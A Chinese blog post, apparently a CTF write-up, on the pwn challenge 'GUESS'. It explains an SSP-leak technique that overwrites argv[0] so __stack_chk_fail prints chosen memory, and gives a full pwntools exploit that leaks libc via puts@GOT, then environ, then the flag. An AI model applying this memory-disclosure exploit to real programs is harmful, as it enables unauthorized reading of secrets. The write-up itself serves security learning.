zoukankan      html  css  js  c++  java
  • pwn-GUESS

    参考了其他wp之后才慢慢做出来的 记录一下

    首先checksec一下 有canary

    放到IDA看下源码

    运行流程大概是 有三个fork 即三次输入机会,于是无法爆破cannary

    本题用的是SSP leak,当canary被覆盖是就会触发__stack_chk_fail函数,其中会打印字符串argv[0],覆盖它就能实现任意地址读

    源码中有open("./flag.txt")即已经读到缓冲区,需要打印buf中flag值

    思路:有三次输入机会(提前计算出offset)

    1:利用puts函数leak出libc基地址

    2:计算出stack上的环境变量environ的实际地址

    3:算出environ与buf中flag的偏移量,打印flag

    其中,断点打在gets函数和environ变量上

    可以算出buf与environ的差值:0x7fffffffe018 - 0x7fffffffdeb0 = 0x168

    exp:

    from pwn import *
    
    
    elf = ELF('./GUESS')
    libc = ELF('./libc6_2.19-0ubuntu6.14_amd64.so')
    
    
    
    
    def get_offset():
            for i in range(0x80,0x180):
                    p = elf.process()
                    p.recvuntil('flag
    ')
                    p.sendline('1'*i+p64(0x0400C90))
                    p.recvline()
                    x = p.recvline()
                    p.close()
                    if "six" in x:
                            print hex(i),x
                            exit(0)
    
    
    def leak_data(p,addr):
            p.recvuntil("flag
    ")
            p.sendline("1" * 0x128 + p64(addr) )
            p.recvuntil('***: ')
    
    def leak_address(p,address):
            leak_data(p,address)
            leak = u64(p.recv(6) + 'x00' * 2)
            return leak
    
    
    p = elf.process()
    
    #1:
    
    libc_address = leak_address(p,elf.got['puts']) - libc.symbols['puts']
    info('libc: ' + hex(libc_address))
    
    
    #2:
    environ_address = libc.symbols['environ'] + libc_address
    environ = leak_address(p,environ_address)
    info('stack address : ' + hex(environ))
    
    
    #3:
    flag_address = environ - 0x168
    leak_data(p,flag_address)
    print p.recvline()
  • 相关阅读:
    AcWing 1027. 方格取数 dp
    AcWing 1014. 登山 dp
    acwing 482. 合唱队形 dp
    LeetCode 1463. 摘樱桃II dp
    LeetCode 100. 相同的树 树的遍历
    LeetCode 336. 回文对 哈希
    LeetCode 815. 公交路线 最短路 哈希
    算法问题实战策略 DARPA大挑战 二分
    算法问题实战策略 LUNCHBOX 贪心
    AcWing 1100. 抓住那头牛 BFS
  • 原文地址:https://www.cnblogs.com/Aiden-/p/9581857.html
Copyright © 2011-2022 走看看